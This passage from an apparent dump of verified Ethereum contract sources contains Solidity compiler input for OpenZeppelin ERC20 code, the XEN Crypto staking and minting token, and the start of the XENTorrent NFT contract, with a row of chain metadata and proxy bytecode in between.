*\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
a374b21ec0a728d8795c4c711d567c2603fd4260
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected 